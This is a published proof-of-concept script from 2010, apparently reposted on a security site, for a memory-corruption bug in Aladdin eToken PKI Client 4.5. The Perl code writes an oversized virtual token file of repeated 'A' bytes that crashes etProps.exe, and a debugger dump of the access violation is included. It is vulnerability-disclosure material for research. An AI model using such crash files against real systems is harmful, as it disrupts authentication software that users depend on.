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Aladdin eToken PKI Client v4.5 Virtual File Handling Unspecified Memory Corrupti
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来源：liquidworm gmail com 作者：LiquidWorm 发布时间：2010-04-13
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Aladdin eToken PKI Client v4.5 Virtual File Handling Unspecified Memory Corruption PoC
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#!/usr/bin/perl -w
#
# Title: Aladdin eToken PKI Client v4.5 Virtual File Handling Unspecified Memory Corruption PoC
#
#
#
# Summary: The eToken PKI Client is the software that enables eToken USB operation and the
# implementation of eToken PKI-based solutions. These solutions include certificate-based
# strong two-factor authentication, encryption and digital signing. With the PKI Client your
# PKI solutions become highly secure, extremely convenient and portable, as you can easily and
# securely generate and store PKI keys on-board eToken smart card-based devices.
#
# Vendor: Aladdin Knowledge Systems Ltd.
# Product web page: http://www.aladdin.com
#
# Version tested: 4.5.52
# Tested on Microsoft Windows XP Professional SP3 (EN)
#
#
#
# ===================================================================================
#
# (154c.a74): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=00000000 edx=01730002 esi=00000000 edi=0012fc90
# eip=0045d3d3 esp=001282b0 ebp=00128304 iopl=0 nv up ei pl nz na po nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
# *** ERROR: Module load completed but symbols could not be loaded for etProps.exe
# etProps+0x5d3d3:
# 0045d3d3 8b8ea4000000 mov ecx,dword ptr [esi+0A4h] ds:0023:000000a4=????????
#
# ===================================================================================
#
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# Zero Science Lab - http://www.zeroscience.mk
#
# liquidworm gmail com
#
# 11.04.2010
#
# Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4933.php
#
$fajl = "Aladdin.etv"; # eToken Virtual file
$djubre = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
open etv, ">./$fajl" || die "\nCan't open $fajl: $!";
print etv $djubre x 100;
print "\n [o] Writing to file...\n";
sleep 1;
close etv;
print "\n [o] File $fajl created.\n";
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